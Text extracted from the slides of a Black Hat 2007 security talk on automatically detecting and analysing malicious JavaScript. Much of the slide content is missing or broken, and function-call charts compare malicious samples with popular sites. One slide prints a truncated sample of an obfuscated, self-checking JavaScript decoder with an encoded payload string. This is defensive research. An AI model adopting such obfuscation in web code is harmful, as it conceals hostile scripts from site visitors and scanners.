Feinstein & Peck Black Hat USA 2007 1
Caffeine Monkey
Automated Collection, Detection and Analysis of Malicious JavaScript Ben Feinstein, CISSP Daniel Peck SecureWorks, Inc.
Caffeine Monkey Automated Collection, Detection and Analysis of - - PowerPoint PPT Presentation
Caffeine Monkey Automated Collection, Detection and Analysis of Malicious JavaScript Ben Feinstein, CISSP Daniel Peck SecureWorks, Inc. Feinstein & Peck Black Hat USA 2007 1 Introductions Welcome to Black Hat USA 2007! Who are
Feinstein & Peck Black Hat USA 2007 1
Automated Collection, Detection and Analysis of Malicious JavaScript Ben Feinstein, CISSP Daniel Peck SecureWorks, Inc.
Feinstein & Peck Black Hat USA 2007 2
Feinstein & Peck Black Hat USA 2007 3
Feinstein & Peck Black Hat USA 2007 4
Feinstein & Peck Black Hat USA 2007 5
Feinstein & Peck Black Hat USA 2007 6
Feinstein & Peck Black Hat USA 2007 7
Feinstein & Peck Black Hat USA 2007 8
Feinstein & Peck Black Hat USA 2007 9
Feinstein & Peck Black Hat USA 2007 10
Feinstein & Peck Black Hat USA 2007 11
Feinstein & Peck Black Hat USA 2007 12
while (i < 100) { i+ + ; / * while loop * / } do { i+ + ; / * do … while loop * / } while (i < 100)
Feinstein & Peck Black Hat USA 2007 13
function I(mK,G){ if(!G){ G= 'Ba,% 7(r_)` m?dPSn= 3J/ @TUc0f: 6uMhk; wy HZEs-^ O1N{ W# XtKq4F&xV+ jbRAi9g'; } var R; var TB= ''; for(var e= 0; e< mK.length; e+ = arguments.callee.toString().replace(/ \ s/ g,'').length- 535){ R= (G.indexOf(mK.charAt(e))&255)< < 18| (G.indexOf(mK. charAt(e+ 1))&255)< < 12| (G.indexOf(mK.charAt(e+ 2))&255)< < (arguments.callee.toString().replace(/ \ s/ g,'').length- 533)| G.indexOf(mK.charAt(e+ 3))&255; TB+ = String.fromCharC
string(0,TB.length- (arguments.callee.toString().replace(/ \ s/ g,'').length- 537))); } I('friHMU&E6- = # MV` OMr@^ ` 4K/ = &` ` @(= ; / 7(S3&Ta3F@i)ZOwMs(40V` Ou_ = y)(PJ= 4Fy: _3Fu% ^ X?VMVMqjOM_Ob6V= # 0xdXuV3j6r@XnV ` EfHF-mx3X0VTWfUjF?-` EfsTqusTqmquynHtX` q{ - uxPq: caFnyuOSqB; ),B; ),B; ),Bm),B; ');
Feinstein & Peck Black Hat USA 2007 14
Feinstein & Peck Black Hat USA 2007 15
Feinstein & Peck Black Hat USA 2007 16
Feinstein & Peck Black Hat USA 2007 17
Feinstein & Peck Black Hat USA 2007 18
Feinstein & Peck Black Hat USA 2007 19
Feinstein & Peck Black Hat USA 2007 20
Feinstein & Peck Black Hat USA 2007 21
Feinstein & Peck Black Hat USA 2007 22
Feinstein & Peck Black Hat USA 2007 23
Feinstein & Peck Black Hat USA 2007 24
Feinstein & Peck Black Hat USA 2007 25
Feinstein & Peck Black Hat USA 2007 26
Function Call Analysis of "Bad" Scripts
5 10 15 20 25 30 35 40 45 Chow #1 Chow #2 Chow #3 Chow #4
elem ent_instance escape eval string_instance/50 docum ent_write
Feinstein & Peck Black Hat USA 2007 27
Function Call Analysis of Top JS Sites
50 100 150 200 250 300 350 400 m y s p a c e . c
f a s t c l i c k . n e t e v i t e . c
m u c h m u s i c . c
p h
i l e . r u y
t u b e . c
f r i g h t c a t a l
. c
s t
e . y a h
n e t h i l l a r y c l i n t
. c
elem ent_instance escape eval string_instance/50 docum ent_write
Feinstein & Peck Black Hat USA 2007 28
Function Call Analysis (Combined)
50 100 150 200 250 300 350 400 Chow #1 (8x) Chow #2 (8x) Chow #3 (8x) Chow #4 (8x) myspace.com fastclick.net evite.com muchmusic.com photofile.ru youtube.com frightcatalog.com store.yahoo.net hillaryclinton.com
elem ent_instance escape eval string_instance/50 docum ent_write
Feinstein & Peck Black Hat USA 2007 29
Feinstein & Peck Black Hat USA 2007 30
Feinstein & Peck Black Hat USA 2007 31
Automated Collection, Detection and Analysis of Malicious JavaScript Ben Feinstein, CISSP Daniel Peck SecureWorks, Inc.